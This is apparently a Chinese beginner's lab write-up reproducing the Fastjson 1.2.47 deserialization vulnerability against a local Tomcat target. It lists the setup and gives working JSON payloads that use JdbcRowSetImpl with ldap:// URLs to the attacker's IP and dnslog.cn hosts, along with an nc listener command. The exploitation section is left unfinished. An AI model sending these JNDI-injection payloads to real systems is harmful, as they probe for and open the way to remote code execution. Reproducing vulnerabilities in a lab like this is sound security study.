初次接触Fastjson反序列化漏洞,最新出的1.2.68及绕过文章不太看得懂,有知识断层。JNDI服务、Ldap协议、rmi协议、Maven项目等等不懂开发,这些都不了解。
找了几篇看得懂的问题先验证验证1.2.47吧。
一、环境准备
靶机环境:
系统:win 7 64
Tomcat:7.0.103
JDK:1.8.0_201(看了好几篇文章说复现fastjson和JDK版本有关,防坑)
fastjson:1.2.47
ip:192.168.43.251
二、部署
JDK、Tomcat环境部署不多说了,直接将Fastjson放到Tomcat下的webapps下即可。在别的文章看到的,直接下载https://blog.csdn.net/qq_40989258/article/details/103049474
Fastjson1.2.47:链接: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven
三、POC
1、用burp抓包,改POST请求,添加参数{"name":"xx","age":"999"},查看返回,服务正常。
2、利用NC监听来判断漏洞是否存在:
kail:nc -lvpp 1234监听端口
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://自己的ip:1234/Exploit","autoCommit":true}}}
收到来自靶机的响应,但是内容不全,估计是用win系统的原因。
3、利用DNSlog来判断漏洞是否存在
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://kd00nn.dnslog.cn","autoCommit":true}}}
4、外网系统测试
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://if6ooy.dnslog.cn","autoCommit":true}}}
四、EXP
待完善
参考文章:https://blog.csdn.net/qq_40989258/article/details/103049474